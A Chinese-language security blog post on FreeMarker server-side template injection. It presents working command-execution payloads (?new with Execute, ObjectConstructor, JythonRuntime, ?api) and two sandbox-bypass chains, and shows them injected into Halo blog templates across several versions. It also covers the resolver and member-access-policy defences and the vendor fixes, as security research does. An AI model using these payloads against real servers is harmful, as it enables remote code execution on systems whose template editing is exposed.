freemarker模版注入

发布时间 2023-04-17 17:40:38作者: Escape-w

freemarker模版注入漏洞

漏洞挖掘时freemarker模版注入位置一般出现在模板编辑处

freemarker通用payload

<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}

漏洞原理是使用了freemarker内置函数?new,可以用来创建一个实现freemarker.template.TemplateModel 类的对象

该payload触发位置在freemarker.template.utility.Execute中exec方法

调用栈如下

exec:80, Execute (freemarker.template.utility)
_eval:65, MethodCall (freemarker.core)
eval:81, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:96, DollarVariable (freemarker.core)
accept:59, DollarVariable (freemarker.core)
visit:327, Environment (freemarker.core)
visit:333, Environment (freemarker.core)
process:306, Environment (freemarker.core)
process:386, Template (freemarker.template)
test:58, FreemarkerController (com.spring.controller)

其他poc1

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}

其他poc2

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

以上两个payload和通用payload是类似的原理

当freemarker存在编辑模板功能时,为了防止模板注入,通常的防御手段为

使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数

  • UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(String)获得任何类。
  • SAFER_RESOLVER:禁止加载ObjectConstructorExecutefreemarker.template.utility.JythonRuntime这三个类
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。

举例两个存在模板注入的系统修复方式:

Halo博客系统

https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c

craftercms

https://github.com/craftercms/engine/commit/2e249287412eca92828988b83b280921fe3332df

以上两种不同写法均为配置NewBuiltinClassResolver为SAFER_RESOLVER

使用该配置后再用上述payload攻击会有如下报错

除了?new之外freemarker中还能用来攻击的内置函数是?api, 但api内建函数并不能随意使用,其必须在配置项api_builtin_enabledtrue时才有效,而该配置在2.3.22版本之后默认为false

使用?api攻击载荷执行rce

这里的object是一个BeanWrapper,它是模板自带的数据模型之一

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

默认配置下将得到如图报错

freemarker沙箱绕过

在中文互联网上搜索freemaker模版注入内容绝大部分只有前文内容,但实际上根据Pwntester 2020年的议题 https://media.defcon.org/DEF CON 28/DEF CON Safe Mode presentations/DEF CON Safe Mode - Alvaro Muñoz and Oleksandr Mirosh - Room For Escape Scribbling Outside The Lines Of Template Security.pdf 可以发掘两个在2.3.30以下绕过沙箱的payload

1.绕过class.getClassloader反射加载Execute类
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

这个payload主要是使用java.security.protectionDomain的getClassLoader方法来获得类加载器再一步一步反射调用Execute类

payload需要在数据模型中找到一个作为对象的变量

halo1.2.0举例,其freemarker版本为2.3.29,并配置了NewBuiltinClassResolve ,编辑links.ftl

<@linkTag method="list">
                            <#if links?? && links?size gt 0>
                                <#list links as link>
                                    <p>
                         <#assign classloader=link.class.protectionDomain.classLoader>
										     <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
											   <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
											   <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
											   ${dwf.newInstance(ec,null)("id")}

                                        <a href="${link.url}" target="_blank" rel="external">${link.name}</a>
                                        <#if link.description!=''>
                                            – ${link.description}
                                        </#if>
                                    </p>
                                </#list>
                            </#if>
 </@linkTag>

在原来代码中的

便签后插入payload,替换payload中的<<object>>link

访问links即可攻击成功

2.如果Spring Beans可用,可以直接禁用沙箱

payload同样可用于halo 1.2.0版本

这个payload需要freemarker+spring并设置 setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

payload如下

<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

据Pwntester议题所说freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱,绕过沙箱的payload不可再使用

各种搜索后并没有找到该沙箱如何配置,下载halo1.4.7发现使用freemarker 2.3.31,并已经去掉了上次fix issue的配置内容,导致我以为MemberAccessPolicy无需配置,但发现使用<#assign test="freemarker.template.utility.Execute"?new()> ${test("id")}这个最初的payload就可以直接攻击该版本

经过各种搜索,终于在JetBrains YouTrackCVE-2021-25770的修复中发现了一处对MemberAccessPolicy接口的使用

存在StrictMemberAccessPolicy类实现MemberAccessPolicy接口

EntityExtendedBeansWrapper中使用setMemberAccessPolicy(new StrictMemberAccessPolicy())来配置MemberAccessPolicy

因为youtrack用了自定义类实现MemberAccessPolicy来修复ssti漏洞,让我误以为MemberAccessPolicy确实需要手动实现并配置

halo 1.5.4测试

对halo1.5.4的测试让我意识到2.3.30以上不用自定义类实现MemberAccessPolicy,其默认使用DefaultMemberAccessPolicy,但必须同时配置new-builtin-class-resolver,否则用最开始的payload即可攻击

测试过程如下

1.首先使用绕过沙箱的payload,发现执行不成功,原因是<<object>>.class.protectionDomain.classLoader无法取到值

<<object>>.class.protectionDomain可以读到值

再次分析其在2.3.30以上引入的memberAccessPolicy策略

发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件

查看DefaultMemberAccessPolicy-rules,可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block

根据spring4shell的思路尝试使用<<object>>.class.module.classLoader绕过,发现也不行

查看rule可以看到java.lang.Class.getModule同样被disallowed,而getProtectionDomain,getName等等则是可以访问的

@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法

2.使用禁用沙箱payload,发现报错无法取到springMacroRequestContext值

halo-1.5.4设置expose-spring-macro-helpers为false,在该配置下无法禁用沙箱

修改为true,发现依然可以执行禁用沙箱payload

编辑archive.ftl,添加payload

<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

得出结论,如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击。即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令

除此之外,pwntester给的文档里面还提到了其他可以利用的trick

freemarker staticModels

Apache Camel

这些payload和springMacroRequestContext一样均需要项目作出相应的配置

因此按照freemarker在关于MemberAccessPolicy策略的文档说,如果不完全信任编辑模版的用户,WhitelistMemberAccessPolicy是唯一安全的配置